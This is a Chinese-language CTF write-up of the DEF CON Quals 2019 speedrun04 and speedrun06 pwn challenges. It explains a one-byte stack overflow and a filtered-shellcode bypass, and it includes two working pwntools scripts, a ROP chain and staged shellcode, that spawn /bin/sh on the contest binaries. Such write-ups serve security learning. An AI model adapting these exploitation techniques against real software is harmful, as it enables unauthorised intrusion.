DefconQuals2019-speedrun04-06

介绍

DefconQuals2019,难题基本不会,做了几道简单的speedrun04、speedrun06

speedrun04

静态编译,而且strip了,所以可能找不到主函数。找一下字符串,看一下引用就能找到了。

程序很简单,读入长度,然后read读。

漏洞点在长度最多为257,而read所写的buffer只有256长,有一个字节的溢出。

这个溢出将会改掉rbp,所以ret之后栈的内容可以被我们控制。

因为有aslr,所以栈是随机的,改掉最后一位后,栈的位置也不能完全控制(把最后一位写成\x00可以控制栈往前移),所以我们rop的前面需要padding一部分。(脚本见最后)

speedrun06

程序很简单,读入shellcode后直接运行,但是会对你的shellcode进行一定的处理。

首先会会在前面加一段code,清空除rip外的寄存器;其次会在0x5、0xa、0x14、0x1d这四个位置插入一个0xcc也就是int3。

利用方式,对于寄存器清零,我们可以直接调用syscal,这样rcx会被置为rip;其次对于0xcc,我们选择用jmp跳过去(开gdb的时候你会发现0xcc没影响,不要被它隔断shellcode就好,但是一打远程就会发现会在0xcc处断掉,所以必须jmp过去)(脚本见最后)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# speedrun04

from pwn import *

context.log_level = 'debug'

# p = process(binary)
p = remote('speedrun-004.quals2019.oooverflow.io',31337)

poprax = 0x0000000000415f04
poprdx = 0x000000000044a155
poprsi = 0x0000000000410a93
poprdi = 0x0000000000400686
syscall = 0x0000000000474f15
bss = 0x6BB300
ret = 0x400BD1

rop = [ret] * 12 + [
poprax, 0,
poprdi, 0,
poprsi, bss,
poprdx, 8,
syscall,

poprax, 59,
poprdi, bss,
poprsi, 0,
poprdx, 0,
syscall
]

p.recvuntil('have to say?\n')
p.sendline('257')

payload = ''.join(list(map(p64,rop)))
payload = payload.ljust(255,'\x00') + '\x00\x00'
p.send(payload)

p.sendline('/bin/sh\x00')
p.sendline('cat flag')

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# speedrun06

from pwn import *

context.log_level = 'debug'

binary = './speedrun-006'
p = process(binary, env=env)
# p = remote('speedrun-006.quals2019.oooverflow.io',31337)

# jmp '\xeb'
shellcode = asm('syscall',arch='amd64') + '\xeb\x02'
shellcode += asm('nop\n',arch='amd64') + '\xeb\x03'
shellcode += asm('nop\nnop\nmov rsi,rcx\nmov rdx, r11',arch='amd64') + '\xeb\x02'
shellcode += asm('nop\nadd rsi,26\nsyscall',arch='amd64')

assert len(shellcode) <= 26
shellcode = shellcode.ljust(26, '\x90')
p.recvuntil('Send me your ride\n')
p.send(shellcode)

shellcode = ['mov rsp,rcx','sub rsp,30','mov rax, 59','mov rdi, rsi','add rdi, 29','xor rsi, rsi','xor rdx, rdx','syscall']
shellcode = asm('\n'.join(shellcode),arch='amd64')
p.send(shellcode + '/bin/sh\x00')

p.sendline('cat flag')

p.interactive()